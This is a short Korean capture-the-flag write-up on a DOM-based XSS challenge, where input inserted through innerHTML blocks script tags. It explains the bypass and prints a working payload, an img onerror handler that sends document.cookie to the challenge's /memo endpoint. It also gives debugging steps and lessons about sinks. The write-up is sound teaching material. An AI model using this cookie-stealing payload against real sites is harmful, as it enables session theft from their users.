TL;DR
- 취약점:
/vuln이param을 클라이언트 JS가innerHTML로 DOM에 삽입 → DOM-based XSS - 핵심 트릭:
innerHTML은 끼워넣은<script>를 실행 안 함 → 이벤트 핸들러(<img onerror>)로 우회. 흐름·수신처·통로는 XSS-1과 동일 - 페이로드:
<img src=x onerror="new Image().src='http://127.0.0.1:8000/memo?memo='+document.cookie">
분석
| 엔드포인트 | 동작 |
|---|---|
/vuln | param을 innerHTML로 DOM에 삽입 |
/flag | param을 /vuln?param=...로 조립 → FLAG 쿠키 든 봇(Selenium)이 방문 |
/memo | memo를 전역변수 memo_text에 누적 저장·노출 |
| |
취약점
param을 검증 없이 innerHTML에 삽입 → 입력이 글자가 아니라 HTML로 해석됨.
급소: innerHTML은 삽입된 <script>를 실행하지 않으므로 XSS-1의 <script> 페이로드는 그대로 안 통함 → 이벤트 핸들러 태그로 우회해야 함.
공격
흐름은 XSS-1과 동일(봇 호출 → /vuln 실행 → 쿠키 읽기 → /memo 전송 → 공격자 확인). 갈리는 건 sink 하나.
/flag에 페이로드 제출 → 봇 호출- 봇이
/vuln?param=페이로드방문 →innerHTML삽입 시 코드 실행 <script>가 막히므로 삽입 즉시 브라우저가 JS를 실행하는 핸들러 사용:<img src=x onerror=...>—src=x는 로드 실패 → error 이벤트 →onerror의 JS 자동 실행- 본문은 XSS-1과 동일(
new Image().src로 쿠키를/memo에 전송) - 공격자가
/memo를 열어 FLAG 확인
| |
검증은 쪼개서: <img src=x onerror=alert(1)>(핸들러 실행) → memo=test(전송 통로) → document.cookie(탈취). /flag는 good/wrong만 주고 에러도 막혀 있어 로컬 /vuln에서 먼저 터뜨리는 게 유일한 디버깅 수단.
핵심 당위:
innerHTML로 나중에 끼운<script>는 DOM에 생성되되 실행이 차단된다(HTML5: 파싱 중 만난<script>만 실행). 그래서 처음부터 정상 HTML 속성인onerror로 우회 — 차단 규칙이 걸리지 않는다.
배운 점
- XSS-1과 결함의 본질(입력이 HTML로 해석)·목표(봇 쿠키 탈취)·유출 통로(
/memo+new Image)는 전부 동일 → 사실상 같은 문제 - 갈리는 단 하나는 sink: 서버 출력/
document.write는<script>실행,innerHTML은<script>차단 → 이벤트 핸들러(<img onerror>) 필요 - 판별점: “
param이 어떤 sink로 DOM에 들어가는가"가 페이로드 형태를 통째로 결정 → 같은 XSS라도 sink부터 확인하는 게 첫 분기점 - XSS-1과 묶어 “같은 결함, 다른 sink"의 대조 쌍으로 기억